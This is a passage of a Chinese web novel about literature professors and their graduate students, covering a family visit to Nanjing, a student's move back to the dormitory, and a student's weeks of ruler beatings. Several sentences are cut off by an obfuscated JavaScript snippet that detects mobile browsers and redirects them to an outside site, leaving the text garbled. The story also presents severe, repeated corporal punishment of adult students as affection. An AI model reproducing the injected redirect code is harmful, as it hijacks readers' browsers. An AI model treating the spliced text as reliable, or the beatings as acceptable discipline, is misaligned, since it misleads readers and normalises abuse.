纪慎知道这话是跟自己说的,没好气道:“起得比长辈晚,怎么的也得挨顿板子,爱起不起,谁要叫他?” 这是纪家从前的规矩了,纪慎是这样受教的,后来也是这样教纪沅的。纪氏父子离心,跟这些繁琐的规矩不能说没有关系。只是现在老先生年纪大了,心肠软了很多。 纪母知道儿子心里有气,劝和道:“就让他多睡一会吧,咱们吃咱们的,等他醒了再给他热一热。” 老先生拿起餐巾擦擦嘴,起身道:“我去看看。” 这一看,爷孙俩都吓着了,庄遂平刚从噩梦中醒来,见了老先生,吓得一抖,立刻就要往床头躲,结果“砰”一声撞上床头,脑袋像裂开似的,疼得他脸都皱了起来。 老先生赶紧上前去想瞧瞧,哪知小孩跟见了鬼一样,整个人缩成一团,惊恐地盯着他,不住摇头。老先生不明所以,问:“这是怎么了?” “不要,”庄遂平呜咽着,“不要打……” 老先生没听清,往前走了两步,不料小孩竟吓得滚下了床,蜷在地上一阵阵干呕。 老先生见这场景,才知出了大事,忙上前去扶着,让他坐到床上:“是不是病了?不要吓唬师爷……” 庄遂平呕了一阵,什么也没吐出来,筋疲力竭之时渐渐从梦魇中走出来,看着老先生,微微湿了眼眶。 “吓着了?” “做了噩梦。” “吓坏了是不是?没事了,换个衣服,下去吃早饭,等会师爷给你讲论文。” 庄遂平手指一蜷,怯怯问:“可以不讲吗?” “今天不想写论文?” 庄遂平摇摇头,不敢看老先生:“我写得,写得太差了。” “师爷还没开始说呢,你就说差,睡糊涂了!”老先生拍了拍他,“好了,快去洗漱,师爷在楼下等你。” 庄遂平没法拒绝,只得点了点头。老先生也不放心,看着他进了卫生间才慢慢出来准备下楼去。 没曾想还没下楼呢,就看见准备到楼上的纪慎。父子俩目光一对上,彼此都有些尴尬,沉默着没有说话。 卫生间传来“哗哗”的水声,父子俩倒是默契地往那头瞧了一眼,又不约而同地转了过来。 “纪慎,”还是老先生先开的口,“你对他做过什么?” 纪慎不耐烦地扭开了头,还是选择转身下楼。 “纪慎!”老先生提高音量,叫住了他,“老师不是这样当的。” 纪慎扶着扶手转过身来,眼神颇为复杂,有些难过,但更多的是怨恨。 “那也只能怪爸没有做好榜样!” 一句责怪掷地有声,连刚走到楼梯边的庄遂平都怔住了。 一道楼梯边缘,祖孙三代,每个人之间都隔着距离。 纪慎移开目光,看向庄遂平:“让你去挑书挑了没有?挑了就走了!”说罢不等回应,“蹬蹬蹬”下楼了。 纪母在楼下,拉住气呼呼的儿子,轻轻拍了他一巴掌,嗔怪道:“又在这里胡说八道!说好回来住一周的,这才第几天?!快点,换个鞋子,陪妈散步去!” 纪慎左右在家里也不舒服,便听母亲的,出门散步去了。 母亲挽着纪慎的手,走到花园中心,才慢慢问:“你这两年见过沅沅没有?在一个城市里头,说起来你们的工作也搭得上边的,你要照顾他。” “他还要我照顾?爸不是什么都教给他了?再说了,他那工作做起来得心应手才是,校对编辑么,有什么好照顾的?” “你心里就是怨你爸,什么都教给他了,难道没有教给你?要不是你爸从小对你……就靠你在学校里学那点东西,现在才当不成什么系主任!”母亲叹了声气,“你当年非要跑那么远去读书,当时兵荒马乱的,你爸不知道多担心,偏生嘴硬,什么都不肯说,后来安定下来了,你爸虽然表面不说,可总是留意你们那里的消息,你这次肯回来,你爸很高兴的。还有你带回来那个小孩子,你爸对自己的学生都没有这么上心的,昨晚看那个论文看了一宿……” 纪慎哼了一声:“自己的儿子和学生不上心,倒是对别人的儿子和学生上心!” “什么别人?!上心的还不都是你的儿子和学生!说回来,妈也没见你对谁这么上心过,你很喜欢这个学生吧?” 纪慎怔了一下,竟不知道如何回答。 屋里头,庄遂平吃了早餐便胆战心惊地往客厅去了。他的论文摆在桌上,他的字是黑色,纪慎的批注是红色,昨晚老先生又用蓝色的墨水写了修改意见,每张纸都满满当当的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说什么不?你老师来,不就是为这事?来一趟,什么都不给你,显得师爷多小气!”老先生笑吟吟的,边说边找书,让庄遂平头一回有了那种奇妙的感觉。 就像是巍思在严先生家里,阅冬在秦老师家里。 被爱着被呵护的感觉。 108.冷暖 一周的时间转瞬即逝,一转眼就到了离开的日子。纪慎在房间里“哐啷哐啷”地收行李,纪母在一旁看,时不时地让他带上这个带上那个,庄遂平则早就收拾好了自己那两件衣服,默默在房里等。 没等到纪慎来叫,倒是等来了老先生。庄遂平对老先生还是很尊敬的,见了人,忙站起来,虽然不打招呼,但至少有反应了。 纪老先生温和地笑:“遂平,你到书房等一下,师爷有东西要给你。” “是。” 这几天庄遂平频繁进出书房,已经很熟悉了,径自下到二楼,在书房一头的木沙发上坐着,静静等老先生来。 老先生拿来了两个木盒子,暗棕色的长方形盒,一个简单些,只有侧边有简单的花纹,另一个则复杂很多,上头的花纹大约是龙凤一类的,还挂了小锁,总之看着就价值不菲。 老先生先把简单的盒子递了过去:“这是给你的书,那天看的吴梅村和钱谦益的集子,还有一套龚鼎孶,你看看用不用得上。” 庄遂平双手接过:“谢谢。” 师爷两个字在嘴里转了很久,到底没有出口。 老先生也不计较,将另一个盒子递了过去:“这个东西很重要,我不会告诉你是什么,锁的钥匙在纪慎那里,等时机成熟了,你就让他给你开。” 庄遂平摸不着头脑,为什么重要的东西要给他?到底是什么东西?为什么不告诉他?时机成熟又是什么时候? 问题太多了,庄遂平选了一个来问:“我怎么知道什么时候时机成熟?” 老先生神秘莫测地笑了笑:“你心里有数。” 庄遂平更忐忑了,连接盒子的动作都慢了许多,似乎不大情愿。 盒子有点重量,压得双手一沉,庄遂平低头看了看那个小锁,金黄金黄的,也就一个指头大,十分精巧的样子。 “还有,别告诉你老师。” 庄遂平又糊涂了:“可是,不是要让他开吗?” “在你决定让他开之前,不要告诉他这个东西在你那里。” 庄遂平点了点头,随后蓦然反应过来刚刚老先生说的是“你老师”,又觉得不舒服了。 不过他也不可能冲老先生发脾气,只是接了盒子,上楼之后将盒子塞进自己的行李里头,跟着纪慎走了。 南北温差很大,虽然是同一天,可回到北方,感受却截然不同。刚下飞机,庄遂平就被冻得打了好几个喷嚏,纪慎斜眼瞟他一眼,满脸写着没用。 不过就算同一个城市,各人的冷暖也是不同的,刘巍思日日挨戒尺,日日被打得肉团滚烫,可是丝毫都感受不到寒冷。 打了快十天了,前几天都没有留下什么痕迹,不知第四还是第五天起,臀上就有暗沉的灰紫色留存,随着每天五十五下戒尺责落,青紫痕迹越来越重,打到现在,裤子一脱就像重伤,可戒尺还等着呢!刘巍思欲哭无泪,拉着一张脸跪下,伏在老师身上。 “啪!”戒尺没什么提醒就抽在臀尖上,刘巍思疼得瞬间叫了起来。这根本不是一下戒尺的疼痛,而是前面这么多天几百下戒尺堆积起来的痛感。 “老师,好疼……” 他天天都这么喊,严先生都听麻木了,连回应都没有,只扬起戒尺继续抽下去。 啪——啪——啪—— 不断责落的戒尺在青紫的皮肉上抽出了一层层鲜艳的红色,几种不同颜色相叠,看着略有些吓人,刘巍思更是哭喊得厉害,一直求饶,顶着个光屁股扭来扭去,气得严先生“啪”地抽了一巴掌:“再敢乱动!” “老师,太疼了,我控制不住……” 严先生边打边骂:“挨打忍不住,倒是忍得住不接我的电话!就是欠收拾!非打烂你这个屁股不可!” “老师,我知道错了,我真知道错了,我以后再也不敢了……啊!老师!轻点!” 他越哭喊严先生越打得重,就算知道小孩疼狠了也没有放一点水。这是他们师生之间最严重的危机,也该用最重的惩罚来收尾。 不过刘巍思虽哭得厉害,但心里倒数得很清楚,打过四十下便咬住牙坚持,一下下倒数,数到五十五,忙叫起来:“打完了!打完了!” 严先生不解气,又用手扇了几巴掌:“鬼哭狼嚎!这么大个人不嫌丢人!” 疼成这样,谁还管丢不丢人?!刘巍思挨完了也不起来,就蹭在老师身上,求老师给他揉伤。严先生不肯,他便扭着屁股撒起娇来:“揉揉嘛,痛死了!” “痛死你也是活该!” “老师说反话!罚老师给我揉屁股!” 严先生被他逗笑了:“现在这张嘴能说会道了,之前呢?” 刘巍思歪在老师怀里,吸了吸鼻子,说:“之前被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说来也巧,从南京回来,庄遂平对纪慎似乎没那么抗拒了,这日写了论文第三章的初稿,竟想着亲自拿去办公室给他看看。可当他走到办公室门口,却看见纪慎和刘巍思笑得正开心。 那样肆意的笑容,他从没在纪慎脸上见到过。 那一瞬间,不知是愤怒还是失落,抑或是羡慕和心酸,总之他没有说出话,只是脚步一顿,转身跑了。 纪慎眼尖地抓住了那个身影,快步走到门外,果真看到庄遂平拐过弯往楼梯处去。他心下一慌,扭头道:“你等会先回去,帮我锁门,我先走!” “哎!纪老师!”刘巍思还喊着,他人却跑走了。刘巍思一头雾水,挠挠脖子,“出什么事了吗?” 109.盲态 年轻人跑得很快,纪慎在后面追得气喘吁吁也没追上,只看到了那是回家的方向,于是干脆放慢脚步,边喘气边回去。 本想着回去之后训斥几句的,可纪慎推门进去,却看见庄遂平在收拾行李,不禁大惑:“你干什么?” 庄遂平“啪哒”一声扣上行李箱,面无表情地回答:“我要回宿舍住。” 他和柏阅冬虽然已经很长时间不在宿舍了,但是并没有办退宿手续,那间寝室还是留在那里的。 纪慎怒火一下子就烧起来了,斥道:“胡闹什么?” “我没有胡闹!我是学生,本来就要住宿舍,我也不会再提退学的事,论文我会写完的。”庄遂平说着提上行李,绕开纪慎,快步走了出去。 纪慎心力交瘁,真的追不动了,站在原地,最后只听见外头门关上时“砰”的巨响。 其实庄遂平也不知道自己为什么突然这么大反应,以前也常见纪慎和巍思谈笑风生的,他们的关系本就亲密,一起说说笑笑又不是什么大事。可是去了一趟南京,他的心就微妙地变了一点,隐隐约约地期待着他和纪慎能像别的师生那样。 可是并没有,纪慎还是照旧,嫌弃着他的同时喜欢着别的学生。 这件事在从南京回来之后变得更难接受了。 庄遂平回到寂静的寝室,一时间感到万分陌生。空气中浮动着肉眼可见的灰尘,一种憋闷了许久的气息萦绕在周围,让他想不起来离开时是怎样的场景了。 更想不起来和阅冬一起在寝室生活的片段。 好像他们都离开了很久。 可是,明明才半年有余而已。 庄遂平闭上眼睛,让自己的心情恢复平静。过了好一会儿,才重新睁眼,整理稍显凌乱的床铺。打开行李箱时,那个花纹繁复的木盒子静静地躺在那里,好似等待着什么。 庄遂平心中一阵烦躁,将盒子拿出来,丢进了书桌抽屉最深处。 眼不见心不烦。 也是在这一天,秦昭阳决定去试试那个研究近代文学的老师,出门之前,他换上了厚实的毛衣,套上呢子大衣,跟柏阅冬说:“师父出门去了,你在家里好好的,等师父的好消息。” 柏阅冬安静地点了点头。 于是他就斗志昂扬地出门了。 于是他就栽了个跟头。 被拒绝的时候,他想,不应该提前告诉小孩的,没有好结果,他又要沮丧了。 那位老师倒是没有提柏阅冬的眼睛,只说方向不对:“他原来研究宋词,怎么跳这么远研究近代?昭阳,你不能为了让他读博就随便给他塞东西啊!他对近代了解少不说,万一还没有兴趣,做起来很痛苦的!” “我寻思着,晚清词也是词,他研究起来也不费劲,他基础很扎实的,也愿意学,我全程指导不行吗?” “昭阳,你说得容易,那我问你,他读这个出来,博士毕业了怎么办?他就是现当代文学博士了,然后又跑回去研究你们古代文学?我不是说这不行,这当然可以,只要他有兴趣,什么都可以,但是昭阳,你觉得这样对他是好的吗?就为了让他有一个博士文凭,不管他想不想,也不管将来这条路好不好走?” 秦昭阳抬手扶住额头,筋疲力竭。 学院里的老师虽说专业不同,但都是老相识了,秦昭阳的事无人不知,那位老师见他这般模样,也有点不忍,拍了拍他的肩膀,问:“你一定要让他读博吗?” “他不读博,还能做什么呢?” 对方叹息一声:“那你再找找别人吧,我是爱莫能助了,虽说你可以全程指导,但他要挂名在我这里,那就是我的学生,以后别人问起来,我怎么说呢?你也知道的,我们这些人收博士,还是有点找衣钵传人的意思在里头,你看看严老师对他们家那个小孩,咱们虽然做不到那份上,但你说要我收个名义上的徒弟,以后也不研究我这个东西,也跟我没啥关系,我还是不太能接受。” “我明白,大家都有难处。” 对方点点头,没有再说话了。 而柏阅冬在家里,也没有乖乖等着。现在没有论文写了,他颇有些无聊,时不时就伸手到额前头发底下摸受伤的右眼,细碎的伤口还挺多处的,一开始觉得可怕,后来习惯了也就那样,再后来,他就趁家里没人的时候把秦嘉辰的挂镜挪过来,悄悄看一眼。 他捂着右眼,看着镜子里的自己,一点一点把手挪开,从鼻梁处往太阳穴挪,第一道伤在眼角下,他摸着感觉凹下很多,但其实看起来只有浅浅一道,再往后挪,别的伤也是,细细碎碎的,其实也没有很可怕。 可是这样对着镜子,他突然发现了一件比伤口更恐怖的事。对着镜子怔了片刻 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师母很快走过去接了电话,说话声里都透着欣喜:“辰辰呀!你吃饭了没有?妈妈刚回到家呀!准备做饭了,阅冬?他在啊,我问问去!” “阅冬!辰辰的电话,她问你好不好?”师母没有秦昭阳那么细腻,反倒大剌剌的,也没那么怕柏阅冬生气,有什么就说什么。见柏阅冬摇摇头,她也没多失落,继续回去打电话,“他挺好的,你爸跟你说了吧,他都答辩完了,毕业了!” “哎哟你也知道,你师兄聪明的嘛!要不然你爸把他当宝贝似的!” “不知道呀!你师兄的事得问你爸,我哪里知道的哦?” “就知道问你师兄,也不问问你妈!哈哈哈……妈妈好得很,就是好想你,你在巴黎好不好呀?妈妈跟你说,你爸就想着你留在外头的,要是看上什么法国帅小伙,你就大胆一点!反正你爸没看着你,总是要谈恋爱的嘛!” “什么不想?女孩子这么大了,谈恋爱多正常!你不敢跟你爸说,就跟妈说,妈支持你!” 房门没有关,所有的话都传进了柏阅冬耳朵里,他甚至能根据师母的话推断出完整的对话来。他心里头渐渐的,涌起一点辛酸,却对着秦嘉辰的照片,浅浅地笑了笑。 110.羡慕 秦昭阳回家时,脸上没有一点失落。见妻子和小孩正吃饭,笑着打了招呼就去洗手了。 “老秦,锅里有汤,你自己盛!” “知道了。”秦昭阳应了声,从厨房盛了汤出来,还没坐下呢,就被小孩子期待的目光灼得心里一疼。 小孩子虽然消沉,但心里还是对未来有想法的。 秦昭阳挤出笑来,道:“师父都糊涂了,今天找那个老师,他还不是博导呢!白跑我一天!过几天师父给你找另一个去,不着急啊!” 柏阅冬眼里的光一点点暗下去,却没有说话,只是点了点头。 三个人就这么沉默着,吃了一顿晚饭。 后来秦昭阳没有再提要去找哪位老师,可是柏阅冬好几次在深夜的时候发现他还坐在客厅里看着什么,有一回他很早起床,悄悄去客厅找,找出厚厚一沓其他学校古代文学的博导资料。 那时候博导很稀少,除了那一批最有名的学校,其他学校能有一个博导就不错了。幸而他们这地方高校多,资源丰富,秦昭阳才收罗了十来个博导,可是这里头,哪一个会是自己的归宿呢? 况且,已经去找别的学校了,也就是说,他已经没办法在这个学校呆下去了。 柏阅冬把东西放回原位,蹑手蹑脚回房去了。 这天刘巍思刚挨完板子,正哼哼唧唧地捂着屁股,就接到了纪慎的电话,说是庄遂平回宿舍一段日子了,让他去看看。 刘巍思应了,挂了电话却是一脸茫然:“干嘛让我去看遂平啊?纪老师不能自己去看吗?” 严先生拿了药酒出来,招呼他过来上药:“你又不是第一天认识你纪老师,口是心非的,估计是惦记着遂平,又拉不下脸来,才让你去。” 刘巍思一瘸一拐地趴到老师身上,屁股因为被打了十几天,两团肉都泛紫了,走路都抽着疼。清凉的药水覆上时,冰得他打了一个寒战。严先生大手按着伤最重的臀峰,用力按揉起来。 “啊啊啊!疼疼疼!老师轻点!别!别揉了!”刘巍思跟杀猪似的嚎起来。 严先生手劲不减:“伤太重了,不揉不行,忍一忍。” 刘巍思趁机卖惨:“那老师别打了呗!都打了好多天了!我真知道错了!” “你知道错了就不会说这种话,该打多少就多少,别想着逃!” “那还要打多少天啊?” 严先生还是卖关子:“等打完的时候你就知道了!” 求饶无果,刘巍思只得放弃,乖乖趴着上药了。 揉过之后确实好了一点,至少走路不成问题,刘巍思收了药,便替纪慎完成任务去了。 刘巍思也很久不来男生宿舍了,走在依旧凌乱和吵嚷的过道里,恍如隔世。 熟悉的寝室如今只有庄遂平一人在住,收拾得整整齐齐,再没有了柏阅冬挂在床铺栏杆上的小西装,也没有搭在椅背上的黑色或棕色皮带,属于那个飞扬的小天才柏阅冬的潮流时尚气息,全都消失了。 “遂平。” 庄遂平扭头看去,不由得吓了一跳,下意识遮起正在写的论文:“巍思,你怎么来了?” 刘巍思走得很慢,在椅子和庄遂平的床铺中间,选择了柔软的床铺来坐:“我听说你回宿舍了,来看看你,你一个人还好吗?” 庄遂平没有什么表情,轻轻点了点头:“就这样,去食堂吃饭,去图书馆找书,在宿舍写论文。” 刘巍思扫了一眼他桌上那堆书,都是跟晚明清初历史有关的,知道他确实在用功写论文,没有多问什么,可是一扭头,竟看见边上一个木盒,盒盖开着,露出里头破损的一角。刘巍思眼睛一亮,整个捧了过来,见到里头的东西,不由得尖叫起来:“哇!遂平!你哪里来的好东西?!怎么不告诉我?!” 盒子里正是那几本古籍,刘巍思虽然兴奋,却没敢直接上手拿。倒是庄遂平很疑惑,值得这样高兴? “钱谦益……也是,你研究二臣的,哎,快说!哪里得来的?” 庄遂平不好瞒他,如实道:“纪老先生给我的。” “纪老先生?”刘巍思想了想,眼里更惊讶了,“你跟着纪老师去南京了?他带你去见纪老先生了?” 庄遂平点了点头。 刘巍思脸上竟现出一阵悲愤:“纪老师对你也太好了吧?!我问他有没有带特产,他还骂我,没想到居然偷偷带你去见老先生,老先生还给你这种好东西!遂平,快说说,你是怎么让纪老先生拿出来的?” 庄遂平有点为难,不是不能说,而是事实跟刘巍思想象的差得太远了。 “我、我没有,就是,我去了,老先生就给我了。” “啊?”刘巍思知道他不会说谎,但是这话也太难接受了,撅着嘴道,“这也太好了吧!我也好想要。” 庄遂平头一回被别人羡慕,竟非常不适应,想了想,问:“严老师没有吗?” “有啊,但是很少,不能跟纪老先生比的,而且我老师以后肯定要每个人都分一分,不会都留给我的。”刘巍思很不甘心似的,追问道,“纪老师带你去的时候怎么说的?” “他说,看中什么就,拿什么。” 刘巍思简直要石化了。这是什么意思?这就是给你一座金山,你想拿多少就拿多少啊! 庄遂平在那边挑金子的时候,他还在家挨戒尺,这差距也太大了吧! “早知道当纪老师的学生有这种好事,我当年也……”刘巍思羡慕得口水都要流下来了,“哎……纪老师以前还那么打我,也没见说带我去见纪老先生。” 也许是刘巍思一直强调,庄遂平忽然就感觉到了那个盒子的珍贵,很想把它从刘巍思手里拿回来,但又不好直接上手,便转移了话题:“那个,纪老先生说,让我给严老师问好。” “哦,我老师很好啊,天天在家里打我,我屁股都被打紫了,今天差点走不了路。” 庄遂平有些惊异,怎么你也挨打?还打这么重? 刘巍思叹声气,把盒子放回桌上:“哎,反正怪我蠢,不过老师不生气了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292477|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行,要打就打吧。” 庄遂平一边听他说话,一边忙把盒子收了起来,盖上盖子,放到书架上。 两人又聊了些有的没的,说到没话说了,刘巍思才起身告别,拖着个坐麻了的屁股回去了。 纪慎听了刘巍思的转述,知道庄遂平在写论文,稍稍放了心,可没有亲眼见到,心里还是空落落的。正好这两日降了温,便提了两件厚衣服亲自去宿舍找人了。 庄遂平当时正将前两天晾的衣服收下来,见到纪慎,手上动作一顿,不动声色地移开了目光。 纪慎是头一回干这种事,颇为尴尬,但好在早有借口,走进寝室,把手里的袋子往柏阅冬的空床上一放,道:“天冷了,你师母给你买了两件衣服,你去试试合不合穿,不合穿再让她拿去换。” 庄遂平扭头瞟了一眼,想起忆芸,倒是有些惦念,可对着纪慎,所有的情绪都不愿意轻易显露:“不用了,我有衣服穿。” 虽然早知道会碰壁,但一而再再而三的受挫还是让纪慎颇为烦躁:“你师母的一点心意,她进不来你们寝室才让我拿来,赶紧去试!” 所以是忆芸阿姨逼着你你才来的?庄遂平心头憋闷得慌,更不想试了:“放着吧,不合身我再跟她说。” 纪慎颓败地坐在柏阅冬的床上,双手用力地擦过脸,仿佛想让自己振作起来似的:“她问我,你怎么回宿舍住了?我也说不出来,她又跟我生气。庄遂平,就算你很不愿意住在家里,但是你这样一声不吭就走掉,你想过你师母的感受吗?” 庄遂平转过身,坐在自己床上,和纪慎相对着。 忆芸阿姨的感受,他当然想过,可是他更想知道的,是眼前人的感受。 “我会跟她道歉的,论文我写到最后一章了,写完再拿过去给您。”似乎是想要快速结束这场谈话,庄遂平问,“您还有什么事吗?” “遂平,”纪慎没注意到,自己的称呼和语气都在不知不觉间软了下来,“毕业以后呢?你要怎么办?” “服从安排。” “遂平,你可以读博的。”纪慎不知怎么的就把这话说出口了,他甚至想不起来自己是从什么时候开始想要把这个学生留下的。 庄遂平自嘲地笑了笑:“我这么差,读博不过惹人笑话。要读博,怎么的,也得盛超那样吧。”说完时,他轻轻抬起眼皮,试图探寻纪慎眼底的情绪。 也许是想看到纪慎激动地反驳,说你不差,也许是想看到纪慎焦躁地否认,说盛超也没有怎么样,可是他统统没看见,只看见纪慎合上眼时深重的疲惫和无奈。 纪慎有的时候会想,他的父亲其实并没有教过他如何去表达情感,可是为什么父亲老了就自然而然会了?为什么他还是不会?他心里那一团乱麻一般的情绪,纠缠着失落、不安、恐惧、渴望……可是他一点也说不出来。 从心底通往嘴巴的道路,封上了一层透明的蜡,看似容易,却怎么也出不去。 纪慎沉默了很久很久,最后只道:“你再想想吧。” 111.打腿 那天晚上,庄遂平躺在床上,手里拿着纪慎送他的戒尺,一再抚摸着上面的那株麦穗,心绪复杂。 穗,遂。 是专门送给他的,绝不是从什么地方随便拿来应付的。 尺尾的流苏因为被抓了太多次,已经微微炸毛了,根本看不出这是一柄没有用过的戒尺。 庄遂平想,如果一开始纪慎就送他这柄戒尺,让他知道老师是在意他的,也许后来那么多次受罚挨打,他都不会觉得那么难堪。 如今这柄戒尺在自己手上,也再不会有用上的机会了。只剩大半年,顺利的话,明年六月底他就会毕业,离开这个地方,带着他对纪慎的怨恨,以及很多难以出口的情感。 读博什么的,本就不是属于他的道路。 想起今天纪慎的话,庄遂平鼻子酸酸的,盯着戒尺的视线也略略模糊。其实,如果纪慎再坚持一点,他可能就会答应留下了。 可是,纪慎没有坚持,他也没有答应。 庄遂平将戒尺放在枕头旁,闭上眼睛,安然睡了过去。 从南京回来之后,他就不那么怕睡觉了,也不会再梦到那些不好的场面了。 窗外刮起“呼呼”北风的那一天,刘巍思终于挨完了这轮惩罚的最后一顿。戒尺兜风抽在深紫色的屁股上时,已经发不出清脆的声响,而是闷闷的“砰”声,刘巍思挨到五六下就已经疼得满脸冷汗,整个人朝下滑去,幸亏严先生一把揪住,才让他面前趴好。 “老师,不行了,要打死了……” 严先生很少把学生打成这个样子,这回打了太多日,伤痕积压,形成整片深紫的惨烈景象。虽然每天都上药,可还是不能在短时间内恢复,严先生也怕打坏了孩子,便将戒尺移到了大腿:“剩下的打腿,别乱动!” 听到换地方了,刘巍思竟然高兴得不得了,连连点头:“我不动,我不动!” “啪!”戒尺在白皙的大腿上抽下一记,红痕还没浮上来,刘巍思的腿就忍不住踢蹬:“老师,好疼,这里好疼……” 大腿肉嫩一些,没有屁股那么耐打,绯红色的尺痕渐渐显现,和上下的白皙形成了鲜明对比。严先生自然知道这处打得疼,可屁股实在打不得了:“忍一忍,听话。” 刘巍思疼得眼角泛泪,却还是乖乖地趴好,抻直了腿。 “啪!” “唔……” “啪!” “啊!老师,慢点慢点,让我缓一缓……” 不是撒娇,是真疼,屁股疼完了大腿疼,气温才几度,可刘巍思的发根都潮了。严先生也是心疼他,当真放了戒尺,轻轻地给他揉起那几道伤来。 刘巍思有点不好意思,这么大个人了,打几下就受不了了,红着脸道:“老师,好了,老师打吧。” “要不要再歇会?” 刘巍思摇摇头:“不用,我挨得住,老师不用放水。” 严先生拿起戒尺,笑了一声:“我本来也没想着放水。”说罢,戒尺清脆地抽在大腿上,疼得刘巍思整个人一挺,差点失禁。 真的太疼了。 严先生还是像刚刚一样,打几下就停下来让他歇一歇,给他揉一揉,所以刘巍思虽然疼,但也一阵阵地熬了下来。 将近五十下戒尺打在大腿上,那一截白花花的皮肉都被打出了血红色,刘巍思到最后一边哭一边忍耐,真恨不得一头撞死算了。 打完的时候,严先生一把将小孩抱到怀里,还不等小孩撒娇,就给他揉起伤来。刘巍思疼得迷迷糊糊,脑袋靠在老师肩上,全脱力了。 这么揉了好一会儿,刘巍思才渐渐缓过来,抱着老师哭:“好疼……” 严先生拍拍他的背:“好了,打完了,打了几日了?” “二十七……”数字一出口,刘巍思才反应过来,顿时有些不好意思,“老师,我……我以后不会了……” “这可是你说的,要是再有事瞒着老师,再不接老师电话,那就只好打更重了。” “不会的!”刘巍思急急反驳,扯着伤又是龇牙咧嘴的,“我以后再也不会了,不然老师打我之前,我自己打烂屁股!” 严先生笑出了声:“就会胡说八道!趴着吧,老师去拿药。” 刘巍思手脚并用爬到沙发上趴着,等着老师来上药。虽然上药也很痛苦,可能够感受到老师的关心,他还是很愿意的。 “老师,我什么时候能好啊?” 严先生在手心上倒了药酒,两手对着搓,搓得热热的才贴上去,小孩子没忍住,“嗷嗷”叫唤。 “就这个样子,还想着好呢!怎么的也得养几天,着急去哪里?” “没有啊,我还没去过大师兄那里呢!上回大师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294755|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打电话来,叫我去玩。” 易堂生六月毕业以后被分配到了另一所高校去当老师,国内第一批文学博士,待遇很好,分了学校里的房子,他便带着家人住了过去。上回打电话来,说是安顿好了,让老师带着巍思去家里坐坐,到了刘巍思嘴里,就变成“去玩”了。 严先生笑他,这么大个人了,还是爱玩:“等你这个屁股好了,想去哪里玩就去哪里玩,我不管你。” “老师,”刘巍思扭着脖子看过来,“您别告诉大师兄您打我了,不然他又要打。” “好,不说,快趴好,没上完药呢!” 刘巍思身上疼,可心里却没情绪,“嘻嘻”笑了一声,乖乖趴好了。 外头风大得很,但是秦昭阳仍然坚持出门,柏阅冬知道他是为了什么,没有劝阻。秦昭阳穿上袄子,裹了妻子织的毛线围巾,跟小孩子交代好:“阅冬,你知道的,师父得上人家学校去,可能晚些才能回来,你要是有事就打你师母办公室电话,知道吗?” 柏阅冬点了点头,目送师父出了门。 师父一走,他便挪了镜子过来,撩起他额前的头发,看着镜中两颗颜色不大一致的眼珠子——受过伤的眼睛带着一块小小的灰斑。 他练了一段时间,右眼的眼珠子几乎不会乱动了,只要目视前方,神态是与常人无异的。但是,如果他将来还要走到人前,他就不能像花瓶一样呆呆的。 他将注意力转移到双眼,慢慢地控制着眼珠子一起往右边移动,他能感觉到,左眼的速度比右眼要快,因为左眼总是下意识就会往右边看,但是看不见的右眼却习惯性地慢一拍。 没事的,再来。 他一次次将眼珠子转回中间,又一次次同时控制着往右,受伤的眼睛没办法跟上正常的反应速度,这让他有点气馁。 长长地呼出一口气之后,柏阅冬换了一个思路,既然右眼跟不上,是不是可以让左眼慢一点? 健康的左眼更好控制,确实可以缓缓向右,可是这样的转动,让眼神不由得带上了点轻蔑的意味,柏阅冬“扑哧”一声笑了出来:“是不是很好笑?” 他总是对着秦嘉辰的照片说话,但是永远也没有回答。 双眼几乎能练到同一速度转移,可细看之下还是有些不同,柏阅冬练得累了,收起镜子,拨了拨头发,睡午觉去了。 112.退意 秦昭阳这回找的人有博导资格,有招生名额,专业也对,但是对方的顾虑更多了。 “昭阳,这个学生的事我也听说了,你能为他做到这份上,我也很佩服,但是昭阳,他到底是一个出过事的学生。” 他再出事的概率会很大。他会不会受不了读博的压力中途放弃,甚至再度轻生?他会不会永远也跨不过失明的心理障碍,再不出现在别人面前?他会不会因为别人的背后议论而产生其他不好的想法?他会不会因为失明的眼睛而导致某些生活或学业上的不便,从而更严重地挫伤他对未来的信心?还有他的身体,会不会因为受伤的右眼而影响其他方面的健康?每一个都是无法保证的。 秦昭阳对此早有想法,道:“您别担心这些,说真的,您不用亲自指导他的,只要让他在您这里挂个名,可以全程我来指导,他住在我家里,不会给您添任何麻烦。” 对方眉头轻皱,显然不认同:“可是一挂名,我就是他的导师了,我要对他负责的呀!而且咱们都不是一个学校,我说句不好听的,万一他出了问题,我们学校是要按照规章制度处理我的呀!这风险太大了,我不能答应!” 拒绝得非常坚决,如同桌上冷掉的茶,再没有回温的可能。 “其实我也知道,不在一个学校,会有很多问题,可是,我也实在没有办法了。” 